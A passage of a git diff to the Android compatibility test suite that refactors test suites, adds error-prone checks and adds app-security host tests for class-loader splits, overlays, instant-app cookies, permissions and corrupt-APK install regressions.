+        Assert.assertTrue(CrashUtils.securityCrashDetected(mCrashes, new CrashUtils.Config()
                 .checkMinAddress(true)
                 .setProcessPatterns(
                         Pattern.compile("synthetic_process_0"),
                         Pattern.compile("generic"))));
     }
+
+    @Test
+    public void testNullFaultAddress() throws Exception {
+        JSONArray crashes = new JSONArray();
+        crashes.put(createCrashJson(8373, 8414, "loo", "com.android.bluetooth", null, "SIGSEGV"));
+        Assert.assertTrue(CrashUtils.securityCrashDetected(crashes, new CrashUtils.Config()
+                .checkMinAddress(true)
+                .setProcessPatterns(Pattern.compile("com\\.android\\.bluetooth"))));
+    }
 }
diff --git a/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java b/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
index ac9f95f..c406a87 100644
--- a/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
+++ b/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
@@ -15,31 +15,29 @@
  */
 package com.android.compatibility.common.util;
 
-import junit.framework.Test;
-import junit.framework.TestSuite;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
 
 /**
  * A test suite for all util unit tests.
  * <p/>
  * All tests listed here should be self-contained, and do not require any external dependencies.
  */
-public class UnitTests extends TestSuite {
-
-    public UnitTests() {
-        super();
-        addTestSuite(CaseResultTest.class);
-        addTestSuite(CrashUtilsTest.class);
-        addTestSuite(DynamicConfigTest.class);
-        addTestSuite(LightInvocationResultTest.class);
-        addTestSuite(MetricsXmlSerializerTest.class);
-        addTestSuite(MultipartFormTest.class);
-        addTestSuite(ReportLogTest.class);
-        addTestSuite(ResultHandlerTest.class);
-        addTestSuite(StatTest.class);
-        addTestSuite(TestResultTest.class);
-    }
-
-    public static Test suite() {
-        return new UnitTests();
-    }
+@RunWith(Suite.class)
+@SuiteClasses({
+    BusinessLogicTest.class,
+    CaseResultTest.class,
+    CrashUtilsTest.class,
+    DynamicConfigTest.class,
+    LightInvocationResultTest.class,
+    MetricsXmlSerializerTest.class,
+    MultipartFormTest.class,
+    ReportLogTest.class,
+    ResultHandlerTest.class,
+    StatTest.class,
+    TestResultTest.class,
+})
+public class UnitTests {
+    // empty on purpose
 }
diff --git a/error_prone_rules.mk b/error_prone_rules.mk
index cc28b0d..25d9344 100644
--- a/error_prone_rules.mk
+++ b/error_prone_rules.mk
@@ -16,8 +16,10 @@
 LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
                           -Xep:BoxedPrimitiveConstructor:ERROR \
                           -Xep:ConstantField:ERROR \
+                          -Xep:EqualsIncompatibleType:ERROR \
                           -Xep:FormatString:ERROR \
                           -Xep:GetClassOnClass:ERROR \
+                          -Xep:IdentityBinaryExpression:ERROR \
                           -Xep:JUnit3TestNotRun:ERROR \
                           -Xep:JUnitAmbiguousTestClass:ERROR \
                           -Xep:MissingFail:ERROR \
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
index 1effdba..d17828d6 100644
--- a/error_prone_rules_tests.mk
+++ b/error_prone_rules_tests.mk
@@ -15,9 +15,11 @@
 # Set of error prone rules to ensure code quality of tests
 
 # Goal is to eventually merge with error_prone_rules.mk
-LOCAL_ERROR_PRONE_FLAGS:= -Xep:CollectionIncompatibleType:ERROR \
+LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
+                          -Xep:CollectionIncompatibleType:ERROR \
                           -Xep:EqualsNaN:ERROR \
                           -Xep:FormatString:ERROR \
                           -Xep:JUnit3TestNotRun:ERROR \
+                          -Xep:SizeGreaterThanOrEqualsZero:ERROR \
                           -Xep:TryFailThrowable:ERROR
 
diff --git a/hostsidetests/aadb/Android.mk b/hostsidetests/aadb/Android.mk
index 203151b..5f0a967 100644
--- a/hostsidetests/aadb/Android.mk
+++ b/hostsidetests/aadb/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.aadb
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/abioverride/Android.mk b/hostsidetests/abioverride/Android.mk
index 9b92985..0877b43 100644
--- a/hostsidetests/abioverride/Android.mk
+++ b/hostsidetests/abioverride/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CTS_TEST_PACKAGE := android.host.abioverride
 
diff --git a/hostsidetests/abioverride/app/Android.mk b/hostsidetests/abioverride/app/Android.mk
index e49622c..a246f72 100755
--- a/hostsidetests/abioverride/app/Android.mk
+++ b/hostsidetests/abioverride/app/Android.mk
@@ -34,7 +34,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAbiOverrideTestApp
 
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 09ae404..b109f5b0 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -28,11 +28,12 @@
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_REQUIRED_MODULES := \
 	CtsCorruptApkTests_b71360999 \
-	CtsCorruptApkTests_b71361168
+	CtsCorruptApkTests_b71361168 \
+	CtsCorruptApkTests_b79488511
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
new file mode 100644
index 0000000..e291771
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.appsecurity.cts;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+public class ClassloaderSplitsTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String PKG = "com.android.cts.classloadersplitapp";
+    private static final String TEST_CLASS = PKG + ".SplitAppTest";
+
+    /* The feature hierarchy looks like this:
+
+        APK_BASE (PathClassLoader)
+          ^
+          |
+        APK_FEATURE_A (DelegateLastClassLoader)
+          ^
+          |
+        APK_FEATURE_B (PathClassLoader)
+
+     */
+
+    private static final String APK_BASE = "CtsClassloaderSplitApp.apk";
+    private static final String APK_FEATURE_A = "CtsClassloaderSplitAppFeatureA.apk";
+    private static final String APK_FEATURE_B = "CtsClassloaderSplitAppFeatureB.apk";
+
+    private IBuildInfo mBuildInfo;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Utils.prepareSingleUser(getDevice());
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        getDevice().uninstallPackage(PKG);
+    }
+
+    public void testBaseClassLoader() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+    }
+
+    public void testFeatureAClassLoader() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+    }
+
+    public void testFeatureBClassLoader() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
+    }
+
+    public void testReceiverClassLoaders() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildInfo = buildInfo;
+    }
+
+    private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
+        public InstallMultiple() {
+            super(getDevice(), mBuildInfo, null);
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 3220de6..978ec9e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -34,7 +34,8 @@
  */
 public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
     private final String B71360999_PKG = "com.android.appsecurity.b71360999";
-    private final String B71361168_PKG = "com.example.helloworld";
+    private final String B71361168_PKG = "com.android.appsecurity.b71361168";
+    private final String B79488511_PKG = "com.android.appsecurity.b79488511";
 
     private IBuildInfo mBuildInfo;
 
@@ -49,6 +50,7 @@
         super.setUp();
         uninstall(B71360999_PKG);
         uninstall(B71361168_PKG);
+        uninstall(B79488511_PKG);
     }
 
     @After
@@ -57,6 +59,7 @@
         super.tearDown();
         uninstall(B71360999_PKG);
         uninstall(B71361168_PKG);
+        uninstall(B79488511_PKG);
     }
 
     /** Uninstall the apk if the test failed previously. */
@@ -68,11 +71,11 @@
     }
 
     /**
-     * Tests that apks described in b/71360999 do not install successfully nor cause
+     * Tests that apks described in b/71360999 do not install successfully.
      */
     public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
         final String APK_PATH = "CtsCorruptApkTests_b71360999.apk";
-        assertFailsToInstall(APK_PATH, B71360999_PKG);
+        assertInstallNoFatalError(APK_PATH, B71360999_PKG);
     }
 
     /**
@@ -80,24 +83,34 @@
      */
     public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
         final String APK_PATH = "CtsCorruptApkTests_b71361168.apk";
-        assertFailsToInstall(APK_PATH, B71361168_PKG);
+        assertInstallNoFatalError(APK_PATH, B71361168_PKG);
     }
 
     /**
-     * Assert that the app fails to install and the reason for failing is not caused by a buffer
-     * overflow nor a out of bounds read.
+     * Tests that apks described in b/79488511 do not install successfully.
+     */
+    public void testFailToInstallCorruptStringPoolHeader_b79488511() throws Exception {
+        final String APK_PATH = "CtsCorruptApkTests_b79488511.apk";
+        assertInstallNoFatalError(APK_PATH, B79488511_PKG);
+    }
+
+    /**
+     * Assert that installing the app does not cause a native error caused by a buffer overflow
+     * or an out-of-bounds read.
      **/
-    private void assertFailsToInstall(String filename, String pkg) throws Exception {
+    private void assertInstallNoFatalError(String filename, String pkg) throws Exception {
         ITestDevice device = getDevice();
         device.clearLogcat();
-
         final String result = device.installPackage(
                 new CompatibilityBuildHelper(mBuildInfo).getTestFile(filename),
                 true /*reinstall*/);
 
-        assertNotNull(result);
-        assertFalse(result.isEmpty());
-        assertFalse(device.getInstalledPackageNames().contains(pkg));
+        // Starting from P, corrupt apks should always fail to install
+        if (device.getApiLevel() >= 28) {
+            assertNotNull(result);
+            assertFalse(result.isEmpty());
+            assertFalse(device.getInstalledPackageNames().contains(pkg));
+        }
 
         // This catches if the device fails to install the app because a segmentation fault
         // or out of bounds read created by the bug occurs
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 2174fa0..ddec487 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -175,7 +175,7 @@
                     doTest = false;
                 }
                 getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                getDevice().waitForDeviceOnline();
+                getDevice().waitForDeviceOnline(120000);
             } else {
                 getDevice().rebootUntilOnline();
             }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
index fd599ea..51fa77b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -29,6 +29,9 @@
     private static final String INSTANT_COOKIE_APP_APK = "CtsInstantCookieApp.apk";
     private static final String INSTANT_COOKIE_APP_PKG = "test.instant.cookie";
 
+    private static final String INSTANT_COOKIE_APP_APK_2 = "CtsInstantCookieApp2.apk";
+    private static final String INSTANT_COOKIE_APP_PKG_2 = "test.instant.cookie";
+
     private CompatibilityBuildHelper mBuildHelper;
 
     @Override
@@ -42,12 +45,13 @@
 
         Utils.prepareSingleUser(getDevice());
         uninstallPackage(INSTANT_COOKIE_APP_PKG);
-        clearUserData(INSTANT_COOKIE_APP_PKG);
+        clearAppCookieData();
     }
 
     @Override
     protected void tearDown() throws Exception {
         uninstallPackage(INSTANT_COOKIE_APP_PKG);
+        clearAppCookieData();
     }
 
     public void testCookieUpdateAndRetrieval() throws Exception {
@@ -85,8 +89,14 @@
                 "testCookieResetOnNonInstantReinstall2");
     }
 
-    private String clearUserData(String packageName) throws DeviceNotAvailableException {
-        return getDevice().executeShellCommand("pm clear " + packageName);
+    public void testCookieValidWhenSingedWithTwoCerts() throws Exception {
+        assertNull(installPackage(INSTANT_COOKIE_APP_APK, false, true));
+        runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+                "testCookiePersistedAcrossInstantInstalls1");
+        uninstallPackage(INSTANT_COOKIE_APP_PKG);
+        assertNull(installPackage(INSTANT_COOKIE_APP_APK_2, true, true));
+        runDeviceTests(INSTANT_COOKIE_APP_PKG_2, "test.instant.cookie.CookieTest",
+                "testCookiePersistedAcrossInstantInstalls2");
     }
 
     private String installPackage(String apk, boolean replace, boolean instant) throws Exception {
@@ -102,4 +112,8 @@
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
+
+    private void clearAppCookieData() throws Exception {
+        getDevice().executeShellCommand("pm clear " + INSTANT_COOKIE_APP_PKG);
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
new file mode 100644
index 0000000..b543fbd6ae
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+public class OverlayHostTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String PKG = "com.android.cts.overlayapp";
+    private static final String APK = "CtsOverlayApp.apk";
+    private CompatibilityBuildHelper mBuildHelper;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG);
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    public void testInstallingOverlayHasNoEffect() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        getDevice().getIDevice().executeShellCommand("cmd overlay list", receiver);
+
+        // The package of the installed overlay should not appear in the overlay manager list.
+        final String output = receiver.getOutput();
+        assertFalse(output.contains(PKG));
+    }
+
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index d0c5b4d..93e33dd 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -34,13 +34,22 @@
 
     private static final String APK_22 = "CtsUsePermissionApp22.apk";
     private static final String APK_23 = "CtsUsePermissionApp23.apk";
-    private static final String APK_24 = "CtsUsePermissionApp24.apk";
+    private static final String APK_25 = "CtsUsePermissionApp25.apk";
+    private static final String APK_26 = "CtsUsePermissionApp26.apk";
+    private static final String APK_Latest = "CtsUsePermissionAppLatest.apk";
+
+    private static final String APK_PERMISSION_POLICY_25 = "CtsPermissionPolicyTest25.apk";
+    private static final String PERMISSION_POLICY_25_PKG = "com.android.cts.permission.policy";
 
     private static final String APK_DECLARE_NON_RUNTIME_PERMISSIONS =
             "CtsDeclareNonRuntimePermissions.apk";
     private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
             "CtsEscalateToRuntimePermissions.apk";
 
+    private static final String SCREEN_OFF_TIMEOUT_NS = "system";
+    private static final String SCREEN_OFF_TIMEOUT_KEY = "screen_off_timeout";
+    private String mScreenTimeoutBeforeTest;
+
     private IAbi mAbi;
     private CompatibilityBuildHelper mBuildHelper;
 
@@ -64,14 +73,28 @@
 
         getDevice().uninstallPackage(USES_PERMISSION_PKG);
         getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+        getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
+
+        // Set screen timeout to 30 min to not timeout while waiting for UI to change
+        mScreenTimeoutBeforeTest = getDevice().getSetting(SCREEN_OFF_TIMEOUT_NS,
+                SCREEN_OFF_TIMEOUT_KEY);
+        getDevice().setSetting(SCREEN_OFF_TIMEOUT_NS, SCREEN_OFF_TIMEOUT_KEY, "1800000");
+
+        // Wake up device
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().disableKeyguard();
     }
 
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
 
+        getDevice().setSetting(SCREEN_OFF_TIMEOUT_NS, SCREEN_OFF_TIMEOUT_KEY,
+                mScreenTimeoutBeforeTest);
+
         getDevice().uninstallPackage(USES_PERMISSION_PKG);
         getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+        getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
     }
 
     public void testFail() throws Exception {
@@ -162,6 +185,24 @@
                 "testRuntimeGroupGrantExpansion");
     }
 
+    public void testRuntimeGroupGrantExpansion25() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_25), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
+                "testRuntimeGroupGrantExpansion");
+    }
+
+    public void testRuntimeGroupGrantExpansion26() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_26), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest26",
+                "testRuntimeGroupGrantNoExpansion");
+    }
+
+    public void testRuntimeGroupGrantExpansionLatest() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_Latest), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest26",
+                "testRuntimeGroupGrantNoExpansion");
+    }
+
     public void testCancelledPermissionRequest23() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
@@ -230,12 +271,6 @@
                 "testRequestPermissionFromTwoGroups");
     }
 
-//    public void testOnlyRequestedPermissionsGranted24() throws Exception {
-//        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_24), false, false));
-//        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest24",
-//                "testOnlyRequestedPermissionsGranted");
-//    }
-
     public void testUpgradeKeepsPermissions() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
@@ -315,6 +350,14 @@
                 "testRuntimePermissionsAreNotGranted");
     }
 
+    public void testNoProtectionFlagsAddedToNonSignatureProtectionPermissions25() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_PERMISSION_POLICY_25), false, false));
+        runDeviceTests(PERMISSION_POLICY_25_PKG,
+                "com.android.cts.permission.policy.PermissionPolicyTest25",
+                "testNoProtectionFlagsAddedToNonSignatureProtectionPermissions");
+    }
+
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/test-apps/Android.mk b/hostsidetests/appsecurity/test-apps/Android.mk
index 38b7505..24249f2 100644
--- a/hostsidetests/appsecurity/test-apps/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
index 4faf112..2e6911d 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsAppAccessData
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # although not strictly necessary, sign this app with different cert than CtsAppWithData
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
index c4f0eba..3d11a83 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsAppWithData
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
new file mode 100644
index 0000000..1adf0f8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/Android.mk
@@ -0,0 +1,36 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsClassloaderSplitApp
+
+# Tag this module as a cts test artifact
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
new file mode 100644
index 0000000..05f4573
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.classloadersplitapp"
+    android:isolatedSplits="true">
+
+    <application android:label="ClassloaderSplitApp"
+                 android:classLoader="dalvik.system.PathClassLoader">
+
+        <activity android:name=".BaseActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+          </activity>
+          <receiver android:name=".BaseReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+            </intent-filter>
+          </receiver>
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.classloadersplitapp" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk
new file mode 100644
index 0000000..2683128
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+LOCAL_PACKAGE_NAME := CtsClassloaderSplitAppFeatureA
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+
+LOCAL_APK_LIBRARIES := CtsClassloaderSplitApp
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+
+LOCAL_AAPT_FLAGS += --custom-package com.android.cts.classloadersplitapp.feature_a
+LOCAL_AAPT_FLAGS += --package-id 0x80
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml
new file mode 100644
index 0000000..a334acf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
